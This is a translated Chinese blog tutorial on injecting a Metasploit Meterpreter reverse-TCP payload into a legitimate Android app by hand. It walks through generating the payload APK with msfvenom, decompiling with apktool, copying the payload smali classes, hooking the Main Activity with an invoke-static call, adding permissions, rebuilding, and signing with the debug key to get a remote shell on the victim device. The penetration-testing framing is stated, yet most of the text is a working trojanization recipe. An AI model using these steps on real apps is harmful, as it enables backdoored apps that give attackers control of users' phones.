译者:WisFree
预估稿费:100RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
写在前面的话
现在目前绝大多数的安卓应用程序都缺乏源代码级别的安全保护,因此这也意味着攻击者可以轻而易举地向一个合法安卓应用程序中植入木马病毒或注入恶意Payload,这也是导致安卓端恶意软件传播如此迅猛的其中一个原因。
在移动安全评估领域中,如果企业推向市场的应用程序被证明可以被轻易植入木马或恶意代码的话,不仅企业的声誉会受到影响,而且还会严重打击消费者对其的购买信心。
在我们之前所发表的一篇文章中,我们给大家介绍了如何利用脚本将Metasploit的Payloads注入到安卓应用程序之中,感兴趣的同学可以参阅这篇文章【文章链接】。那么在这篇文章中,我们将跟大家讨论如何手动将Metasploit的Payloads注入到安卓应用程序之中。
第一步:Payload生成
Metasploit MsfVenom不仅可以帮助我们生成各种类型的Payload,而且它还可以生成一种包含有Meterpreter Payload的APK文件。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes
下图显示的是我们通过Metasploit生成APK Payload的过程:
第二步:反编译APK文件
在针对目标安卓应用注入Payload并生成最终的恶意文件pentestlab.apk之前,我们首先需要对原本的APK安装文件进行反编译。在这一步骤中,我们需要使用到强大的反编译工具apktool。下面给出的代码可以帮助我们利用apktool来对原本的APK文件进行反编译,并将代码保存至.smali文件中。
java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
下图显示的是我们使用apktool反编译APK文件的过程:
第三步:转移Payload文件
完成上述操作之后,我们需要将恶意程序pentestlab.apk中的Payload文件拷贝到smali文件夹之中,即保存了应用程序所有源代码的文件夹内。尤其需要注意的是下面给出的这两个文件目录:
/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage
第四步:注入钩子(Hook)
接下来,我们需要对Android manifest文件进行分析,这样才能帮助我们确定当应用程序开始运行时哪一个才是首先启动的Main Activity。这一步是必须要做的,否则将有可能导致我们的Payload无法正常执行。
下图演示了如何识别目标安卓应用的Main Activity:
接下来,用下面给出的这行代码替换Main Activity文件中的相关代码,具体如下图所示:
;->onCreate(Landroid/os/Bundle;)V
识别需要替换的代码:
当目标Activity启动之后,下面的代码将会执行Metasploit的Payload:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
注入Hook:
第五步:获取应用程序额外权限
为了让我们所注入的Payload能够更加高效地执行,我们需要向Android Manifest文件中为我们的恶意应用程序添加额外的执行权限,如果用户接受了这些权限请求,那么我们的恶意程序将有可能完全接管目标设备。
添加额外的安卓权限:
第六步:重新编译应用程序
既然现在我们已经将Payload和额外权限都添加到目标应用程序之中了,那么接下来我们就要将这些代码重新编译成APK文件。编译命令如下:
java -jar apktool.jar b /root/Downloads/original/
编译注入了恶意Payload的APK文件:
第七步:对生成的APK文件进行签名
应用程序如果没有进行签名的话是无法在安卓设备上安装的,这里我们可以直接使用默认的安卓调试密钥(Android Debug Key)来对刚才所生成的恶意APK文件进行签名。签名命令如下:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey
对APK文件进行签名:
当我们的恶意应用程序在目标设备上成功安装并运行之后,将会自动开启一个Meterpreter会话。
通过注入恶意Payload的安卓APK文件实现Meterpreter会话: